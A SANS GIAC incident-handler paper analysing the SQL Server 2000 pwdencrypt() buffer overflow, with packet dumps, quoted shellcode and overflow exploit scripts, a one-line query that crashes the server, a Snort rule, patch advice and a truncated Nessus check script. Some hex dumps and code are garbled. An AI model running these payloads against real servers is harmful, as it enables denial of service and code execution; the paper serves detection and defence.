Use offense to inform defense. Find flaws before the bad guys do.

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
GIAC Certified Incident Handler Practical

Version 2.1

Cyber Defense Initiative Support Option

Port 1433 Vulnerability: Unchecked Buffer in Password Encryption

Procedure

Jeff Bryner
Abstract

This paper will provide an in depth analysis of a vulnerability within Microsoft’s SQL Server 2000 database server in support of the cyber defense initiative. Specifically, this paper details a buffer overflow vulnerability in the pwdencrypt() function that can be exploited over TCP/IP port 1433. The paper will describe the vulnerability, its exploitation, how to detect and how to prevent attacks aiming to use this vulnerability.

Targeted Port

As of November 8, 2002 the incidents.org Internet storm center top 10 graph included port 1433 as the third most targeted port.

Port 1433 is most often used by Microsoft’s SQL server and SQL Server Desktop Engine (MSDE) products. It is the port used for authentication, query requests and data transfer for all clients of SQL Server.

At the Transport layer, SQL Server supports TCP, SPX, NetBEUI, AppleTalk and Banyan Vines protocols. Since the focus of this paper is a specific attack against port 1433, we are narrowing our focus to the TCP/IP protocol.

For a complete mapping of net library to inter-process communication to .dll to network/transport layer protocols see:


SQL server uses three inter-process communication mechanisms over TCP/IP; Remote Procedure Calls, Named Pipes and Sockets. At the application layer SQL server uses the Tabular Data Stream (TDS) protocol to package SQL queries from the client to the server, and responses from the server to the client.

TDS was a protocol originally developed by Sybase. Its purpose is to insulate the database server and client from the inner workings of whatever transport/network layer protocols the client and server decide to use. The client and server could choose to exchange TDS packets over TCP/IP, IPX/SPX, etc without worrying about the details of the networking protocols. Microsoft began using TDS when it licensed SQL server for its joint development of the database platform for Microsoft
environments. It is a largely undocumented protocol. For Microsoft’s definition of TDS: see:


Vulnerabilities

There are several vulnerabilities associated with this port. Vulnerabilities exist to exploit buffer overflows in authentication, hijack existing sessions, and to misuse privileges once authenticated. A partial list of vulnerabilities includes the following:

- **CVE-2001-0344** A SQL query method in Microsoft SQL Server 2000 Gold and 7.0 using Mixed Mode allows local database users to gain privileges by reusing a cached connection of the sa administrator account.

- **CVE-2000-0603** Microsoft SQL Server 7.0 allows a local user to bypass permissions for stored procedures by referencing them via a temporary stored procedure, aka the "Stored Procedure Permissions" vulnerability.

- **CVE-2000-0485** Microsoft SQL Server allows local users to obtain database passwords via the Data Transformation Service (DTS) package Properties dialog, aka the "DTS Password" vulnerability.

- **CVE-2000-0202** Microsoft SQL Server 7.0 and Microsoft Data Engine (MSDE) 1.0 allow remote attackers to gain privileges via a malformed Select statement in an SQL query.

This paper will focus on the exploit labeled CAN-2002-0624 described in the common vulnerability database as:

“Buffer overflow in the password encryption function of Microsoft SQL Server 2000, including Microsoft SQL Server Desktop Engine (MSDE) 2000, allows remote attackers to gain control of the database and execute arbitrary code via SQL Server Authentication, aka ‘Unchecked Buffer in Password Encryption Procedure.’”

Port 1433 Exploit

**Exploit overview**

The undocumented function pwdencrypt() does not check the size of the string sent to it. This vulnerability allows the attacker to execute this function with a specially crafted argument that can cause a buffer overflow condition that allows the attacker’s payload to be executed in the context of the NT account used by SQL server. According to the Microsoft bulletin:

http://www.microsoft.com/technet/security/bulletin/ms02-034.asp
“An attacker who was able to successfully exploit this vulnerability could gain significant control over the database and possibly the server itself depending on the account SQL Server runs as.”

The payload can be sent as the argument to the function, which is expecting a single string to encrypt but doesn’t check the length of the string that is passed. As such any length string can be passed and will be executed in the context of the SQL Server Service account. If the string is longer than the function is expecting, the remainder of the buffer will be executed in a classic buffer overflow.

**Exploit Details**

This is commonly referred to as the “Unchecked Buffer in Password Encryption Procedure” vulnerability and is referenced as follows:

CVE: CAN-2002-0624
Xforce: msssql-pwdencrypt-bo(9345)
http://www.iss.net/security_center/static/9345.php
BugTraq: ID 5014
[http://online.securityfocus.com/archive/1/276953](http://online.securityfocus.com/archive/1/276953)
[http://online.securityfocus.com/bid/5014](http://online.securityfocus.com/bid/5014)
CERT: VU#225555
[http://online.securityfocus.com/advisories/4308](http://online.securityfocus.com/advisories/4308)
[http://www.kb.cert.org/vuls/id/225555](http://www.kb.cert.org/vuls/id/225555)

There are no public variants of this specific exploit, though there are many SQL server functions that are susceptible to similar buffer overflow vulnerabilities. In particular, many of the extended stored procedures (those beginning with `xp`) seem to suffer from buffer overflow vulnerabilities. Vulnerabilities have been found in `xp_displayparamstmt`, `xp_enumresultset`, `xp_showcolv`, `xp_peekqueue`, etc.

This particular buffer overflow affects any operating system that can run SQL 2000 (SP1 or SP2) or the Microsoft Data Engine (MSDE) 2000 including the following operating systems:

- Windows NT4.0 all releases
- Windows 2000 all releases
- Windows XP

Specifically; SQL 2000 versions before 8.00.0650 are vulnerable. To check the version, issue the following SQL query from an active Query Analyzer session:

```
SELECT @@Version
```
The exploit can be initiated by simply invoking the pwdencrypt() function on any vulnerable SQL server. The function is undocumented, and does not appear in any of the typical lists of functions, and as such isn’t protected by user roles or groups. It is unclear whether rights to execute this function could be revoked since the function does not appear in any of the SQL management interfaces. By default it is executable by anyone in the public group.

**Protocol Description**

This exploit requires enough access to the SQL server to use the pwdencrypt() function. To use this exploit the attacker would need a valid SQL server account, and have to open a connection to a SQL server. Once access was established the attacker could initiate the exploit. This initial access could be accomplished by either using an account with weak or compromised passwords, hijacking an existing session, or through SQL injection into applications that fail to check user input.

SQL server accepts commands via the Tabular Data Stream (TDS) protocol. As such, this exploit can be replicated using tools that can construct TDS packets. TDS is a proprietary protocol used by Microsoft and Sybase to broker commands and results between database clients and servers. The details of TDS are largely unpublished. The most complete explanation of the protocol including source to mimic its functionality is available through the FreeTDS project ([www.freetds.org](http://www.freetds.org)).

SQL Server 2000 accepts several varieties of TDS packets from version 4 to version 8. Most nessus scripts seem to use version 4.2.0.0 TDS packets. Since Microsoft's netmon sniffer employs a version 4 TDS packet parser, it is useful in decoding these packets. The nessus script to test for a null password on the sa account creates a TDS packet that, when captured by MS netmon looks like:

```
69 38.609000 00402B4155D5 LOCAL TDS Login - , sa, 000000a0, sqmelda 1.0, , MSDBLIB 12.XXX.XXX.XXX 12.XXX.XXX.XXX.IP
```
IP: Header Length = 20 (0x14)
IP: Precedence = Routine
IP: Type of Service = Normal Service
IP: Total Length = 552 (0x228)
IP: Identification = 39543 (0x9A77)
IP: Flags Summary = 2 (0x2)
  IP: ........0 = Last fragment in datagram
  IP: .......1. = Cannot fragment datagram
IP: Fragment Offset = 0 (0x0) bytes
IP: Time to Live = 64 (0x40)
IP: Protocol = TCP - Transmission Control
IP: Checksum = 0x5631
IP: Source Address = XXX.XXX.XXX.XXX
IP: Destination Address = XXX.XXX.XXX.XXX
IP: Data: Number of data bytes remaining = 532 (0x0214)
TCP: .AP..., len: 512, seq:3900334044-3900334556, ack: 673268662, win: 5840, src: 2464 dst: 1433
TCP: Source Port = 0x09A0
TCP: Destination Port = 0x0599
TCP: Sequence Number = 3900334044 (0xE87A5FDC)
TCP: Acknowledgement Number = 673268662 (0x282143B6)
TCP: Data Offset = 20 (0x14)
TCP: Reserved = 0 (0x0000)
TCP: Flags = 0x18 : .AP...
  TCP: ..0..... = No urgent data
  TCP: ....1.... = Acknowledgement field significant
  TCP: ......1.. = Push function
  TCP: ....0.. = No Reset
  TCP: ......0. = No Synchronize
  TCP: ........0 = No Fin
TCP: Window = 5840 (0x16D0)
TCP: Checksum = 0x279F
TCP: Urgent Pointer = 0 (0x0)
TCP: Data: Number of data bytes remaining = 512 (0x0200)
TDS: Login - , sa, 000000a0, aquelda 1.0, , MSDBLIB
TDS: Message Header = Login Len = 512 Chnl = 0 Pkt = 2 Win = 0
TDS: Type = Login
TDS: Status = 0 (0x0)
  TDS: ........0 = Zero (not EOM)
  TDS: .......0. = Zero (no ACK)
TDS: Length = 512 (0x200)
TDS: Channel = 0 (0x0)
TDS: Packet = 2 (0x2)
TDS: Window = 0 (0x0)
TDS: Host Name -
TDS: Host Name Length = 0 (0x0)
TDS: User Name = sa
TDS: User Name Length = 2 (0x2)
TDS: Password -
TDS: Password Length = 0 (0x0)
TDS: Host Proc = 000000a0
TDS: Host Proc Length = 8 (0x8)
TDS: Int2 = LSB is low byte (e.g. Intel)
TDS: Int4 = LSB is low byte (e.g. Intel)
TDS: Char = ASCII character set
TDS: Flt = LSB is low byte (e.g. MSDOS)
TDS: Date = LSB is low byte (e.g. Intel)
TDS: Usedb = notify on exec of use db cmd
TDS: Dmpld = disallow use of dump/load and bulk insert
TDS: SQL Interface = Default SQL (Transact-SQL on MS SQL Server)
TDS: Connection Source = Normal user connecting directly
TDS: Appname = squelda 1.0
TDS: App Name Length = 11 (0xB)
TDS: Server Name =
TDS: Server Name Length = 0 (0x0)
TDS: Remote Server & Paswd List =
TDS: TDS Version = 4.2.0.0
TDS: Program Name = MSDBLIB
TDS: Program Name Length = 7 (0x7)
TDS: API Version = 6.0.0.0
TDS: Convert Shorts = do not convert short datatypes to long form
TDS: Flt4 = IEEE 4-byte floating point, LSB is low byte
TDS: Date4 = LSB is low byte
TDS: Language Name =
TDS: Language Name Length = 0 (0x0)
TDS: lsetlang = notify on language change
TDS: Security Level Hierarchy = 0 (0x0)
TDS: Security Level Compartments =
TDS: Security Level Spare = 0 (0x0)
TDS: Character Set Name =
TDS: Character Set Name Length = 0 (0x0)
TDS: lsetcharset = do not notify on char set change
TDS: Packet Size = 000
TDS: Packet Size Length = 3 (0x3)

TDS: DummY =

000000: 00 A0 C9 9A D4 3C 00 40 2B 41 55 D5 08 00 45 00 ......<.8+AU....E.
000010: 02 28 9A 77 40 00 40 06 56 31 0C E0 97 33 0C E0 .(.w@.@.V1...3..
000020: 97 34 09 A0 05 99 6F 00 2B 43 B6 50 18 4.......Z_{(C.P.
000030: 16 00 27 9F 00 00 02 00 02 00 00 02 00 00 00 00 '..'.
000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
0000A0: 30 61 30 00 00 00 00 00 00 00 00 00 00 00 00 00 .a0...........
0000B0: 00 00 00 00 20 18 81 8B 2C 08 03 01 06 0A 09 01 .........
0000C0: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 71 75 6E 66 .........squad
0000D0: 61 20 31 2E 30 00 00 00 00 00 00 00 00 00 00 00 a 1.0...........
0000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
0000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..............
The packet is 566 bytes in length, 512 bytes of which is the TDS login packet. As you can see, most of this TDS packet is empty. The interesting parts of the packet are the packet type (0x02), it's length (0x0200), a 30 byte username field and a 30 byte password field. In TDS 4 the username and password are sent in clear text and are null padded to always reach 30 characters.

In TDS version 8 this scheme is changed and username and password are variable characters in length. The username is still sent in clear text, however the password is encrypted using a constant hash. Here is an example TDS version 8 packet for a login packet using the username sa with the lowercase alphabet as a password:

```
00000: 00 A0 C9 9A D4 3C 00 20 E0 6E 86 4E 08 00 45 00 ......<.n.N.E.
00010: 00 FA 01 BC 40 00 80 06 E4 3E 00 00 03 0A 00 ...@
00020: 00 01 0B D2 05 99 17 DA 2F CF 3E 00 00 07 F8 07 ......>.P.
00030: 44 4B D9 71 00 00 10 01 00 D2 00 00 01 00 CA 00 DK.q.
00040: 00 00 01 00 00 71 00 00 00 00 00 00 00 00 00 07 F8 07 .q.
00050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 ..V...Z
00060: 00 00 56 00 00 00 56 00 02 00 5A 00 1A 00 0E 00 ...
00070: 12 00 B2 00 .8 00 00 00 00 00 00 00 C2 00 04 00 CA 00 ...........
00080: 00 00 CA 00 00 00 00 20 E0 6E 86 4E 00 00 00 00 ......n.N.
00090: CA 00 00 00 73 00 61 00 B3 A5 83 A5 93 A5 E3 A5 .s.a........
000A0: F3 A5 C3 A5 D3 A5 23 A5 33 A5 03 A5 13 A5 63 A5 .......3.c.
000B0: 73 A5 43 A5 53 A5 02 A5 52 A5 82 A5 92 A5 E2 A5 s.C.S........
000C0: F2 A5 C2 A5 D2 A5 22 A5 32 A5 02 A5 53 00 51 00 .......S.Q.
000D0: 4C 00 00 20 00 00 00 75 00 65 00 72 00 79 00 00 00 L.Query.
000E0: 41 00 6E 00 61 00 00 00 79 00 7A 00 65 00 02 00 A.nalyze.
000F0: 31 00 30 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 1.0...0...1.
00100: 4F 00 44 00 42 00 43 00 O.D.B.C.
```

In line 9 you can see the username begin with the characters 0x73(s) and 0x61(a). The password begins with the 0xB3 character which is SQL's encryption of the letter
‘a’. 0x83 is the encryption of ‘b’ and so on. The password field ends with the value 0x53 which is the beginning of the name of the client program which is in this case ‘SQL Query Analyzer’.

If this login is successful, SQL server sends a return TDS packet in the same version noting the default database, language, etc.

If the login fails, the server sends a ‘login failed’ packet:

After this connection is established the client can send TDS packets with SQL commands which the server will execute and return results via TDS.

I could not obtain a SQL 4.2 client to use in capturing a packet containing the code for this exploit, however I was able to capture exploit packets using current SQL 2000 version 8 TDS clients such as Query Analyzer. Packets are included in the nessus script later in this document.
How the exploit works

The exploit takes advantage of an unchecked buffer in the string argument expected by the `pwdencrypt()` function.

The `pwdencrypt()` function is used by SQL server to encrypt strings sent to it. It creates a 46-character hash of the string sent to it. This is true even if the string sent to it is greater than 46 characters in length. The passwords for SQL logins are stored in the master database in a table called `sysxlogins`.

Running the command:

```
select len(password) from sysxlogins
```

Reveals that all the passwords that aren’t null are also 46 characters in length. It is reasonable to assume that SQL uses this function to hash the password before it’s stored in this table.

There is another undocumented function `pwdcompare()` that is most likely used in the SQL login process in conjunction with the `pwdencrypt()` function. `pwdcompare()` appears to take two or three arguments. Since most password functions compare hashes instead of the actual password it is an educated guess that this function takes two hashes and compares them for a match. However, running

```
select pwdcompare (pwdencrypt('a'),pwdencrypt('a'))
```

Returns a 0, while running

```
select pwdcompare ('a', pwdencrypt('a'))
```

Returns a 1. So it appears that the `pwdcompare()` function is built to compare clear text with an encrypted hash and return 1 for a match, 0 for a non-match. This would be useful since the `pwdencrypt()` function will return a different hash for the same input over time. Apparently `pwdencrypt()` uses the time as one of the inputs for its hash value.

It is worth noting that on my test system running NT4 SP6a with SQL 2000 8.00.194 running:

```
select pwdcompare (replicate('a',1000),pwdencrypt('a'))
```

Will cause SQL server to terminate reporting a ‘General Network Error’ to the client, no error to the NT event log and no mention in the SQL error log. This is likely the result of a buffer overflow, in `pwdcompare()` or in `pwdencrypt()`. After applying SQL 2000 Service Pack 3 running this command returns the same error message as attempts to overflow `pwdencrypt()`, to it would seem that `pwdcompare()` makes a call to `pwdencrypt()`.
By sending a string larger than expected by the pwdencrypt() function the attacker can have the string executed by SQL server in the context of the account used by SQL server. Many servers are configured to run SQL server under the System account, which allows full control over the server. Since the pwdencrypt() function is enabled, undocumented and available for execution by the public group by default, it is openly available to anyone with an account on SQL server. By not checking the length of the parameter passed through pwdencrypt(), Microsoft has allowed an attacker a direct path to use in having the code of their choice executed by a trusted service.

The buffer appears to be variable in length according to the service pack applied to the operating system hosting SQL 2000. The initial advisory used a length of 363 characters and reported that “1000 characters are enough.” In testing on my Windows NT SP6a machine as little as 163 characters are enough to overflow the buffer. This adds a layer of complexity, as the attacker may have to know the version of the operating system to successfully initiate an attack.

I could not obtain buffer overflow code that provided any substantive control over my specific test machine. However the exploit code at:

http://www.securiteam.com/windowsntfocus/6O00L0K5PC.html

provides a good start, and can be used without modification in this exploit to halt the instance of SQL server that is running and thus can be used in a denial of service attack.

Additional non-stack based buffer overflow code written specific to this exploit can be found in David Litchfield’s July 2002 paper Threat Profiling SQL Server:


in appendix C. Executing either of these sample code exploits as written against my NT4 SP6a machine did not produce the results detailed in the code (i.e. creating a text file) but that is probably because of differences in buffer lengths or memory address for the process used in the exploits for SQL2000 running under NT4 SP6a versus Windows 2000.

Diagram

Here is a diagram of the steps an attacker would take to exploit this vulnerability.
The attacker must have the use of a valid SQL server connection in order to use this vulnerability. This connection could be obtained by sniffing SQL login packets and reverse engineering the credentials, guessing weak credentials or by finding an application that has a connection and allows SQL injection.

Once the attacker finds a connection that he can use, issuing the `pwdencrypt()` command gives him a direct path to having his payload executed in the context of the SQL server account.

### How to use the exploit

To use the exploit an attacker needs to have access to an existing ODBC connection to SQL server. An insider could make use of their regular account. An outsider could use a compromised account, stolen or weak credentials, hijacked session, or could use SQL injection to initiate the exploit. I could not find any automated programs or worms that make use of this exploit but I was able to piece together code that successfully initiates a denial of service attack using code from other SQL-based attacks. In addition I was able to craft a nessus script (provided later in this document) that can be used to check for this vulnerability.

Using the code supplied by Martin Rakhmanoff at

http://www.securiteam.com/windowsntfocus/6O00L0K5PC.html

an attacker could execute the following script in query analyzer:

```sql
declare @table nvarchar(2000)
SET @table =
-- This is simple code that calls CreateProcessW & ExitProcess
-- I've tried to use _endthread to keep SQL Server running but
-- DBCC command seems to be running in vital for the service
-- thread, so after exploiting (with _endthread) service is unusable
nchar(0x8B90) + nchar(0x2414) + nchar(0xDB33) + nchar(0xC033) +
nchar(0x0566) + nchar(0x009E) + nchar(0xC203) + nchar(0x8966) +
nchar(0x8318) + nchar(0x04CO) + nchar(0x8966) + nchar(0x8318) +
nchar(0x02CO) + nchar(0x1889) + nchar(0xC083) + nchar(0x8904) +
nchar(0x8318) + nchar(0x04CO) + nchar(0x1889) + nchar(0xC083) +
```
This script will successfully halt the instance of sql server as is to serve as a denial of service attack and provides a good starting point for a successful buffer overflow.

In his July 2002 paper *Threat Profiling SQL Server*, David Litchfield wrote a non-stack based overflow exploit specifically to use this vulnerability running under Windows 2000 service pack 2. From Appendix C:

```
define @msver nvarchar(200)
define @ver int
#define @sp nvarchar(20)
define @call_eax nvarchar(8)
define @exploit nvarchar(2000)
define @padding nvarchar(200)
define @exploit_code nvarchar(1000)
define @sra nvarchar(8)
define @short_jump nvarchar(8)
define @a_bit_more_pad nvarchar(16)
define @WinExec nvarchar(16)
define @command nvarchar(300)
select @command = 0x636D642E657865202F6320646972203E20633A5C7077646566727970742E74787400000000
select @sp = N'Service Pack ' 
select @msver = @@version
select @ver = ascii(substring(reverse(@msver),3,1))
if @ver = 53
    print @sp + char(@ver) -- Windows 2000 SP5 For when it comes out.
else if @ver = 52
    print @sp + char(@ver) -- Windows 2000 SP4 For when it comes out.
else if @ver = 51
    print @sp + char(@ver) -- Windows 2000 SP3 For when it comes out.
else if @ver = 50 -- Windows 2000 Service Pack 2
BEGIN 
    print @sp + char(@ver) 
    select @sra = 0x2B49E277
    select @WinExec = 0xAFA7E977 
END
else if @ver = 49 -- Windows 2000 Service Pack 1
BEGIN 
    print @sp + char(@ver)
```

```
This code will attempt to exploit the `pwdencrypt()` vulnerability to have SQL server execute the command:

```
cmd.exe /c dir > c:\pwdencrypt.txt
```

If it is successful, you will find a `pwdencrypt.txt` file on the `c:` drive of the victim server. This code did not successfully execute against my test machine running SQL 2000 on NT 4 SP6a, most likely because of incorrect memory addresses and differing buffer lengths.

In testing against my NT4 SP6a machine I discovered that you can use portions of these examples to successfully halt an instance of SQL server with as little as one line of code:

```
select pwdencrypt( nchar(0xffff) + REPLICATE(N'A', 1000) )
```

Including a null terminator 65535 (0xffff) plus enough text to overflow the buffer will cause SQL server to terminate with the error message:

```
[Microsoft][ODBC SQL Server Driver][Shared Memory]ConnectionCheckForData (CheckforData()).
Server: Msg 11, Level 16, State 1, Line 0
General network error. Check your network documentation.
Connection Broken
```

It is worth noting that with this line of code, the error is only sent to the client and no message is logged in the NT Event Log or the SQL server Error logs accessible through enterprise manager or the dump files normally created in the `\program"
files\Microsoft sql server\MSSQL\logs directory. There is no record of SQL server halting using this one line of code.

**Signature of the attack**

You can recognize this attack from its network signature and from errors issued by the victim server. The server will log the following errors in the application event log.

![Event Detail](image)

Error severity level is described by Microsoft in URL:


“Severity levels from 17 through 25 indicate software or hardware errors. You should inform the system administrator whenever problems that generate errors with severity levels 17 and higher occur. The system administrator must resolve these errors and track their frequency. When a level 17, 18, or 19 error occurs, you can continue working, although you might not be able to execute a particular statement.”

IDS systems can look for the pwdencrypt function in network packets sent to any SQL server instance. Snort can recognize the attack with the following line added to the sql.rules file or the snort.rc file.
alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 1433 (msg:"MS-SQL pwdencrypt possible buffer overflow";
content: "p[00]w[00]d[00]e[00]n[00]c[00]t[00]r[00]y[00]p[00]"); nocase; flags:A+; classtype:attempted-user;rev:1;)

When snort sees a packet matching this attack it will write a line to the alert file like:

```
[*] [1:0:1] MS-SQL pwdencrypt possible buffer overflow [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
TCP TTL:64 TOS:0x0 ID:65118 IpLen:20 DgmLen:126 DF
***AP*** Seq: 0x4D17A575 Ack: 0xA63042DD Win: 0x1920 TcpLen: 20
```

### How to protect against it

The user or administrator is left with little choice of how to protect against this vulnerability. Permissions cannot be set for the function pwdencrypt since it does not appear in any of the system tables. As such, the only way to prevent use of this exploit is to apply the patch from Microsoft that is now included as part of service pack 3 for SQL 2000.

When SQL 2000 Service Pack 3 is applied the @@Version variable will return something similar to:

```plaintext
```

Executing any of the aforementioned exploit scripts that attempt to overflow pwdencrypt() will simply return:

```plaintext
Server: Msg 6607, Level 16, State 5, Line 28
Password Encryption: The value supplied for parameter number 1 is invalid.
```

On my test system with Service Pack 3 I can pass input up to 128 characters into pwdencrypt() and still have it return a 46 character string. Input longer than 128 characters returns the error message.

Regardless of the limited capability to protect against this vulnerability, it is worth noting that there are many steps an administrator can take to lock down an instance of SQL server. While Microsoft has done an excellent job providing tools and resources for locking down NT and IIS, it has fallen short in providing documentation and tools for SQL server. The best reference for lock down tools is the SQL security site:

http://www.SQLSecurity.com/

The site has even gone as far as to initiate its own project to create a SQL server lockdown script. At the time of this writing, version 1.0 is available at

WARNING: It is important to note before executing that this script takes a very strong stance on what it considers locked down and does little to warn or give options to the end-user to control how far they would like to go. For example, it resets the sa password to a random value upon execution! The script also disallows ad hoc queries from all data providers, including SQLOLEDB, which will break most applications. It is also worth warning that the script accomplishes most of its work by changing hard coded registry values. If these values or locations change the script would have to be re-written. This script is still very useful however as it gives the administrator pointers as to the registry keys that should have access control lists (ACLs) applied to them to prevent an attacker from using the same methods to gain control of a box running SQL Server.

This script, while not perfect, is a great start. While it takes care of many of the issues present by default in SQL server it also fails to remedy common installation oversights. For example, many of the extended stored procedures present by default in SQL server are routinely recommended to be deleted in a secure installation. The stored procedure xp_cmdshell allows a user to run a command via SQL server and is routinely listed as a target for deletion in secure installations yet the lockdown script does not delete it or any other extended stored procedure.

Though I could not recommend running the script as it exists, it would be of use for a SQL server administrator to cull over the script for tips and tricks to use when locking down their SQL server instances. In addition, a comprehensive lockdown of SQL server would also include a hard look at the ACL settings of the SQL server directories, NT directories, registry keys and the user rights for the account used for SQL Server and the SQL Server Task Agent.

As far as this particular attack is concerned: To determine if a server is susceptible to this attack you can issue the command

```
SELECT pwdencrypt(REPLICATE('A',353)).
```

If the result is a fatal exception error the server is vulnerable. Simply sending a long string of characters is not enough to halt SQL server, so it is reasonably safe to execute this command. If an administrator is uncomfortable purposefully causing fatal exception errors, they could simply check the version of SQL server using the @@Version variable. Anything before version 8.00.0650 is vulnerable. You can automate this check with the following nessus attack script which attempts to login to SQL server using the sa account and executes the pwdencrypt() function.

```
#check sql for buffer overflow via long encrypted password
if(description)
{
    # script_id();
    script_cve_id("CAN-2002-0624");
    script_bugtraq_id(5014);
    script_version ("$Revision:1.3 $");
    script_name(english:"MSSQL Unchecked Buffer in Password Encryption Procedure");
    script_family(english:"Windows");
    desc["english"] = "The MS SQL server has a vulnerable password decryption utility called pwdencrypt()";
}
```
that doesn’t check the password size. This script checks for a login to sql
and if successful, sends select pwdencrypt(replicate('A',353)) to the server.
If the server responds with a fatal exception error the server is vulnerable.
Solution : Filter incoming tcp traffic to this port, update your patches post SP2.
Risk factor : High

MSSQL Unchecked Buffer in Password Encryption Procedure pwdencrypt()

ACT_ATTACK

2002 Jeff Bryner

script_require_ports(1433);
exit(0);
}

# Attack script
packet_sa_no_password_login1 = raw_string(
  0x10, 0x01, 0x00, 0xA8, 0x00, 0x00, 0x01, 0x00, 0xA0, 0x00,
  0x00, 0x00, 0x01, 0x00, 0x00, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xCC, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0x03, 0x00, 0x00, 0xE0, 0x01, 0x00, 0x00, 0x09, 0x04,
  0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x56, 0x00, 0x02, 0x00, 0x5A, 0x00);
#first number in this section is the length of the password not including the spacer (i.e. pwd of a is 1 character)
packet_sa_no_password_login2 = raw_string(0x00, 0x00, 0x5A, 0x00,
  0x12, 0x00, 0x7E, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x00, 0x04,
  0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x20, 0xE0, 0x6E, 0x86, 0x4E, 0x00, 0x00, 0x00, 0x00,
  0xA0, 0x00, 0x00, 0x00, 0x00, 0x07, 0x30, 0x00, 0x61, 0x00);  # last two non null positions are the username: sa
#if there's a password put it in
#here's lowercase alphabet for reference (sql passwords are case in sensitive)
#                                  a       b        c         d      (you get it)
# F3 A5 83 A5 93 A5 E3 A5
# 73 A5 43 A5 53 A5 A2 A5 B2 A5 82 A5 92 A5 E2 A5
# here's a native packet with no password
packet_sa_no_password_login3 = raw_string( 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x20, 0x00,
  0x51, 0x00, 0x75, 0x00, 0x65, 0x00, 0x72, 0x00, 0x79, 0x00, 0x20, 0x00, 0x41, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x79, 0x00,
  0x7A, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x44, 0x00, 0x42, 0x00, 0x43, 0x00);

#concatenate all the sections together to forge a login packet

packet_sa_no_password_login = packet_sa_no_password_login1+packet_sa_no_password_login2+packet_sa_no_password_login3;
#create a tds packet to run the attack: select pwdencrypt(replicate('A',353))
packet_tds_pwdencrypt= raw_string(
  0x01, 0x01, 0x00, 0xA8, 0x00, 0x00, 0x01, 0x00, 0xA0, 0x00,
  0x00, 0x00, 0x01, 0x00, 0x00, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xCC, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0xEA, 0x03, 0x00, 0x00, 0xE0, 0x01, 0x00, 0x00, 0x09, 0x04,
  0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x56, 0x00, 0x02, 0x00, 0x5A, 0x00,
  0x12, 0x00, 0x7E, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x00, 0x04,
  0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x20, 0xE0, 0x6E, 0x86, 0x4E, 0x00, 0x00, 0x00, 0x00,
  0xA0, 0x00, 0x00, 0x00, 0x00, 0x07, 0x30, 0x00, 0x61, 0x00, 0x51, 0x00, 0x75, 0x00, 0x65, 0x00,
  0x72, 0x00, 0x79, 0x00, 0x20, 0x00, 0x41, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x79, 0x00,
  0x7A, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x44, 0x00, 0x42, 0x00, 0x43, 0x00);
0x28, 0x00, 0x72, 0x00, 0x65, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x28, 0x00, 0x27, 0x00, 0x41, 0x00, 0x27, 0x00, 0x02C, 0x00, 0x33, 0x00, 0x35, 0x00, 0x33, 0x00, 0x29, 0x00, 0x29, 0x00, 0x0D, 0x00, 0x0A, 0x00

port = 1433;
found = 0;
report = "SQL has a vulnerable password encryption utility pwdencrypt() that doesn't check the password size."

if(get_port_state(port))
{
    soc = open_sock_tcp(port);
    if(soc)
    {
        #attack seems to work best if you send the login and attack packet at once, then check results
        #as opposed to sending login, checking for login then sending attack packet

        #debug
        #display("Sending:",packet.sa_no_password_login);
        send(socket:soc, data:packet.sa_no_password_login);

